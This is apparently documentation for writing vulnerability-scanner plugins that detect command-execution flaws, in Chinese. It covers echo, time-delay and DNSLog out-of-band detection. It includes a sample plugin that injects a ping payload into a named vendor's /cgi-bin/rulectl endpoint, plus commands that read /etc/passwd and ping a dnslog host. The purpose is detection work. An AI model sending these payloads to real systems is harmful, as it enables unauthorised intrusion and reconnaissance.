命令执行类


命令执行类,根据其输出情况可分两种,有回显和无回显(命令盲注)。根据目标运行的操作系统类型,大致分为 Windows 类和 Unix 类。在编写插件的时候,主要是根据有无回显来分类,并兼容两类操作系统。

  • 有回显类

    编写该类插件检测思路为,直接在页面中输出某条有代表性的命令的执行结果。原则上不能对目标系统造成任何破坏。

    例如:

    • 输出当前的环境变量(Linux: echo $PATH, Windows: echo %path%)
    • 输出某个固定文件的内容(Linux: /etc/passwd, Windows: C:\Windows\win.ini)
    • 其它
  • 无回显类

    无回显类命令执行后返回结果不得而知,大大增加了检测难度,检测主要有两种方式:

    • 延时检测

      1. 与时间盲注类似,利用返回包时间来判断。Linux 下通过 `sleep 5` 来实现延时5秒;
      2. Windows 可以通过 `ping localhost -n 5` 来实现延时5秒。
      3. **该方法对异步命令执行类漏洞无效**。
    • 利用 DNSLog 检测(推荐)

      1. DNSLog 用于监测 DNS HTTP 访问记录,可通过命令执行,让目标主机主动
      2. 请求 DNSLog API 地址,有相应的解析记录,则可判定为存在命令执行漏洞。
      3. 通常使用 ping 命令。Linux 下还可使用 `wget`, `curl` 等有网络请求功能的命令。
      4. **该方法对无任何外网访问权限的目标无效**。

范例插件

西默科技 /cgi-bin/rulectl 命令执行漏洞检测

感谢插件作者: 上善若水

  1. #!/usr/bin/env python
  2. # -*- coding:utf-8 -*-
  3. # Refer http://www.wooyun.org/bugs/wooyun-2016-0179411
  4. # __Author__ = 上善若水
  5. # _PlugName_ = ximo_rce Plugin
  6. # _FileName_ = ximo_rce.py
  7. def assign(service, arg):
  8. if service == fingerprint.ximo:
  9. return True, arg
  10. def audit(arg):
  11. # 生成一个 hash 前缀
  12. hashstr = dnslog.create_hashstr()
  13. # 根据开发者的 udomain 生成需要请求的域名地址
  14. target = dnslog.create_dns_url(hashstr)
  15. # 构造命令执行的 Payload
  16. # 本漏洞中使用 ping 命令(注意限制ping次数)
  17. url = arg + "/cgi-bin/rulectl?woo||ping%20-c%203%20{target}".format(
  18. target=target)
  19. # 发送 Payload 到目标
  20. code, head, res, rurl, log = hackhttp.http(url)
  21. # 检查是否有 DNS 解析
  22. if dnslog.check_dns_log(hashstr):
  23. security_hole(url, log=log)
  24. if __name__ == '__main__':
  25. from dummy import *
  26. audit(assign(fingerprint.ximo, "http://www.example.com/")[1])

使用 DNSLog 检测步骤

  1. 生成一个随机的 hash 前缀
  2. 根据开发者的 udomain 生成需要请求的域名地址
  3. 构造命令执行的 Payload
  4. 利用命令执行漏洞执行 Payload
  5. 检查是否有 DNS 解析

命令执行常用命令

  • 查看文件内容

    Linux:

    1. cat /etc/passwd

    Windows:

    1. type c:\windows\win.ini
  • 使用 ping 命令

    Linux:

    1. ping -c 3 xxxx.test.dnslog.link

    Windows:

    1. ping xxx.text.dnslog.link -n 3